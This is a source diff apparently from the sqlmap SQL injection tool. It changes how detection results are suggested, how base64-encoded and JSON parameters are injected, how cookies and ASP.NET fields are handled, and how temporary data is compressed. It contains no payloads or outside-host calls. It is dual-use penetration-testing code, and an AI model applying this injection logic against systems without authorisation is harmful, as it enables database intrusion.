@@ -221,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
|||||||
global _server
|
global _server
|
||||||
try:
|
try:
|
||||||
_server = ThreadingServer((address, port), ReqHandler)
|
_server = ThreadingServer((address, port), ReqHandler)
|
||||||
print("[i] running HTTP server at '%s:%d'" % (address, port))
|
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
||||||
_server.serve_forever()
|
_server.serve_forever()
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
_server.socket.close()
|
_server.socket.close()
|
||||||
|
|||||||
@@ -501,12 +501,13 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# Useful to set kb.matchRatio at first based on False response content
|
# Useful to set kb.matchRatio at first based on False response content
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||||
|
suggestion = None
|
||||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||||
|
|
||||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||||
if not kb.negativeLogic:
|
if not any((kb.negativeLogic, conf.string, conf.notString)):
|
||||||
try:
|
try:
|
||||||
ratio = 1.0
|
ratio = 1.0
|
||||||
seqMatcher = getCurrentThreadData().seqMatcher
|
seqMatcher = getCurrentThreadData().seqMatcher
|
||||||
@@ -568,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
candidates = sorted(candidates, key=len)
|
candidates = sorted(candidates, key=len)
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
@@ -579,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if injectable:
|
if injectable:
|
||||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||||
conf.code = trueCode
|
suggestion = conf.code = trueCode
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -604,7 +605,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -618,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w+\Z", candidate):
|
if re.match(r"\A\w+\Z", candidate):
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.notString = candidate
|
suggestion = conf.notString = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not any((conf.string, conf.notString, conf.code)):
|
if not suggestion:
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
|
||||||
@@ -939,6 +940,9 @@ def checkFalsePositives(injection):
|
|||||||
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||||
|
continue
|
||||||
|
|
||||||
if randInt3 > randInt2 > randInt1:
|
if randInt3 > randInt2 > randInt1:
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -1577,7 +1581,7 @@ def checkConnection(suppressOutput=False):
|
|||||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||||
kb.originalCode = threadData.lastCode
|
kb.originalCode = threadData.lastCode
|
||||||
|
|
||||||
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
|
||||||
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||||
|
|
||||||
message = "you have not declared cookie(s), while "
|
message = "you have not declared cookie(s), while "
|
||||||
|
|||||||
@@ -291,7 +291,7 @@ def start():
|
|||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if kb.targets and len(kb.targets) > 1:
|
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
|
||||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -336,6 +336,10 @@ def start():
|
|||||||
conf.httpHeaders.append((header, value))
|
conf.httpHeaders.append((header, value))
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if conf.data:
|
||||||
|
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
|
||||||
|
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
|
||||||
|
|
||||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||||
|
|
||||||
initTargetEnv()
|
initTargetEnv()
|
||||||
@@ -382,7 +386,7 @@ def start():
|
|||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||||
|
|
||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||||
@@ -700,6 +704,12 @@ def start():
|
|||||||
action()
|
action()
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
|
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||||
|
kb.multipleCtrlC = True
|
||||||
|
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
|
||||||
|
|
||||||
|
kb.lastCtrlCTime = time.time()
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
warnMsg = "user aborted in multiple target mode"
|
warnMsg = "user aborted in multiple target mode"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
+27
-11
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
|
|||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
|
from lib.core.settings import BOUNDED_BASE64_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
@@ -172,22 +173,30 @@ class Agent(object):
|
|||||||
|
|
||||||
newValue = "%s%s" % (value, newValue)
|
newValue = "%s%s" % (value, newValue)
|
||||||
|
|
||||||
newValue = self.cleanupPayload(newValue, origValue)
|
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||||
|
|
||||||
if base64Encoding:
|
if base64Encoding:
|
||||||
_newValue = newValue
|
_newValue = newValue
|
||||||
_origValue = origValue
|
_origValue = origValue
|
||||||
|
|
||||||
|
if newValue:
|
||||||
|
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||||
|
newValue = self.adjustLateValues(newValue)
|
||||||
|
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
|
||||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
|
||||||
|
if parameter in kb.base64Originals:
|
||||||
|
origValue = kb.base64Originals[parameter]
|
||||||
|
else:
|
||||||
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||||
|
|
||||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||||
else:
|
else:
|
||||||
newValue = self.addPayloadDelimiters(newValue)
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
@@ -389,6 +398,10 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if payload:
|
if payload:
|
||||||
|
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
|
||||||
|
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
||||||
|
payload = payload.replace(match.group(0), _)
|
||||||
|
|
||||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||||
|
|
||||||
@@ -420,7 +433,7 @@ class Agent(object):
|
|||||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||||
hexField = field
|
hexField = field
|
||||||
|
|
||||||
if "hex" in rootQuery:
|
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
|
||||||
hexField = rootQuery.hex.query % field
|
hexField = rootQuery.hex.query % field
|
||||||
else:
|
else:
|
||||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
||||||
@@ -1194,12 +1207,15 @@ class Agent(object):
|
|||||||
|
|
||||||
def whereQuery(self, query):
|
def whereQuery(self, query):
|
||||||
if conf.dumpWhere and query:
|
if conf.dumpWhere and query:
|
||||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
|
||||||
if match:
|
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||||
suffix = match.group(0)
|
|
||||||
prefix = query[:-len(suffix)]
|
|
||||||
else:
|
else:
|
||||||
prefix, suffix = query, ""
|
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||||
|
if match:
|
||||||
|
suffix = match.group(0)
|
||||||
|
prefix = query[:-len(suffix)]
|
||||||
|
else:
|
||||||
|
prefix, suffix = query, ""
|
||||||
|
|
||||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||||
@@ -1209,7 +1225,7 @@ class Agent(object):
|
|||||||
prefix += " WHERE %s" % conf.dumpWhere
|
prefix += " WHERE %s" % conf.dumpWhere
|
||||||
|
|
||||||
query = prefix
|
query = prefix
|
||||||
if suffix:
|
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
|
||||||
query += suffix
|
query += suffix
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|||||||
+13
-13
@@ -10,11 +10,11 @@ try:
|
|||||||
except:
|
except:
|
||||||
import pickle
|
import pickle
|
||||||
|
|
||||||
import bz2
|
|
||||||
import itertools
|
import itertools
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
|
import zlib
|
||||||
|
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
|||||||
|
|
||||||
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
||||||
|
|
||||||
def _size_of(object_):
|
def _size_of(instance):
|
||||||
"""
|
"""
|
||||||
Returns total size of a given object_ (in bytes)
|
Returns total size of a given instance / object (in bytes)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
|
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
|
||||||
|
|
||||||
if isinstance(object_, dict):
|
if isinstance(instance, dict):
|
||||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
|
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
|
||||||
elif hasattr(object_, "__iter__"):
|
elif hasattr(instance, "__iter__"):
|
||||||
retval += sum(_size_of(_) for _ in object_ if _ != object_)
|
retval += sum(_size_of(_) for _ in instance if _ != instance)
|
||||||
|
|
||||||
return retval
|
return retval
|
||||||
|
|
||||||
@@ -54,8 +54,8 @@ class BigArray(list):
|
|||||||
|
|
||||||
>>> _ = BigArray(xrange(100000))
|
>>> _ = BigArray(xrange(100000))
|
||||||
>>> _[20] = 0
|
>>> _[20] = 0
|
||||||
>>> _[100]
|
>>> _[99999]
|
||||||
100
|
99999
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, items=None):
|
def __init__(self, items=None):
|
||||||
@@ -92,7 +92,7 @@ class BigArray(list):
|
|||||||
self.chunks.pop()
|
self.chunks.pop()
|
||||||
try:
|
try:
|
||||||
with open(self.chunks[-1], "rb") as f:
|
with open(self.chunks[-1], "rb") as f:
|
||||||
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
|
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||||
except IOError as ex:
|
except IOError as ex:
|
||||||
errMsg = "exception occurred while retrieving data "
|
errMsg = "exception occurred while retrieving data "
|
||||||
errMsg += "from a temporary file ('%s')" % ex
|
errMsg += "from a temporary file ('%s')" % ex
|
||||||
@@ -113,7 +113,7 @@ class BigArray(list):
|
|||||||
self.filenames.add(filename)
|
self.filenames.add(filename)
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
with open(filename, "w+b") as f:
|
with open(filename, "w+b") as f:
|
||||||
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||||
return filename
|
return filename
|
||||||
except (OSError, IOError) as ex:
|
except (OSError, IOError) as ex:
|
||||||
errMsg = "exception occurred while storing data "
|
errMsg = "exception occurred while storing data "
|
||||||
@@ -131,7 +131,7 @@ class BigArray(list):
|
|||||||
if not (self.cache and self.cache.index == index):
|
if not (self.cache and self.cache.index == index):
|
||||||
try:
|
try:
|
||||||
with open(self.chunks[index], "rb") as f:
|
with open(self.chunks[index], "rb") as f:
|
||||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "exception occurred while retrieving data "
|
errMsg = "exception occurred while retrieving data "
|
||||||
errMsg += "from a temporary file ('%s')" % ex
|
errMsg += "from a temporary file ('%s')" % ex
|
||||||
|
|||||||
+166
-71
@@ -58,6 +58,7 @@ from lib.core.convert import getText
|
|||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.convert import htmlUnescape
|
from lib.core.convert import htmlUnescape
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import cmdLineOptions
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -116,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
|||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||||
|
from lib.core.settings import DOLLAR_MARKER
|
||||||
from lib.core.settings import DUMMY_USER_INJECTION
|
from lib.core.settings import DUMMY_USER_INJECTION
|
||||||
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
|
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
|
||||||
from lib.core.settings import ERROR_PARSING_REGEXES
|
from lib.core.settings import ERROR_PARSING_REGEXES
|
||||||
@@ -213,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
|||||||
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
||||||
|
|
||||||
for (key, value) in self._defaults.items():
|
for (key, value) in self._defaults.items():
|
||||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
@@ -223,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
|||||||
for (key, value) in self._sections[section].items():
|
for (key, value) in self._sections[section].items():
|
||||||
if key != "__name__":
|
if key != "__name__":
|
||||||
if value is None:
|
if value is None:
|
||||||
fp.write("%s\n" % (key))
|
fp.write("\t%s\n" % (key))
|
||||||
else:
|
elif not isListLike(value):
|
||||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
@@ -629,7 +631,8 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
if parameter in (conf.base64Parameter or []):
|
if parameter in (conf.base64Parameter or []):
|
||||||
try:
|
try:
|
||||||
oldValue = value
|
kb.base64Originals[parameter] = oldValue = value
|
||||||
|
value = urldecode(value, convall=True)
|
||||||
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||||
except:
|
except:
|
||||||
@@ -675,17 +678,21 @@ def paramToDict(place, parameters=None):
|
|||||||
elif isinstance(current, dict):
|
elif isinstance(current, dict):
|
||||||
for key in current.keys():
|
for key in current.keys():
|
||||||
value = current[key]
|
value = current[key]
|
||||||
if isinstance(value, (list, tuple, set, dict)):
|
if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
|
||||||
if value:
|
|
||||||
walk(head, value)
|
|
||||||
elif isinstance(value, (bool, int, float, six.string_types)):
|
|
||||||
original = current[key]
|
original = current[key]
|
||||||
if isinstance(value, bool):
|
if isinstance(value, bool):
|
||||||
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
|
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||||
|
elif value is None:
|
||||||
|
current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
|
||||||
|
elif value == []:
|
||||||
|
current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
|
||||||
else:
|
else:
|
||||||
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||||
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
|
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
|
||||||
current[key] = original
|
current[key] = original
|
||||||
|
elif isinstance(value, (list, tuple, set, dict)):
|
||||||
|
if value:
|
||||||
|
walk(head, value)
|
||||||
|
|
||||||
deserialized = json.loads(testableParameters[parameter])
|
deserialized = json.loads(testableParameters[parameter])
|
||||||
walk(deserialized)
|
walk(deserialized)
|
||||||
@@ -943,28 +950,31 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
|||||||
|
|
||||||
retVal = message
|
retVal = message
|
||||||
|
|
||||||
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
if message:
|
||||||
if level is None:
|
if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
||||||
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
if level is None:
|
||||||
|
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
||||||
|
|
||||||
if len(levels) == 1:
|
if len(levels) == 1:
|
||||||
level = levels[0]
|
level = levels[0]
|
||||||
|
|
||||||
if bold or color:
|
if bold or color:
|
||||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||||
elif level:
|
elif level:
|
||||||
try:
|
try:
|
||||||
level = getattr(logging, level, None)
|
level = getattr(logging, level, None)
|
||||||
except:
|
except:
|
||||||
level = None
|
level = None
|
||||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||||
else:
|
else:
|
||||||
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||||
if match:
|
if match:
|
||||||
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||||
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
||||||
|
|
||||||
|
message = message.strip()
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -988,6 +998,12 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
|
|||||||
Writes text to the stdout (console) stream
|
Writes text to the stdout (console) stream
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
|
||||||
|
if re.search(r"\(\d+%\)", data):
|
||||||
|
data = ""
|
||||||
|
else:
|
||||||
|
data = "\n%s" % data.strip("\r")
|
||||||
|
|
||||||
if not kb.get("threadException"):
|
if not kb.get("threadException"):
|
||||||
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
||||||
multiThreadMode = isMultiThreadMode()
|
multiThreadMode = isMultiThreadMode()
|
||||||
@@ -1036,6 +1052,16 @@ def dataToDumpFile(dumpFile, data):
|
|||||||
raise
|
raise
|
||||||
|
|
||||||
def dataToOutFile(filename, data):
|
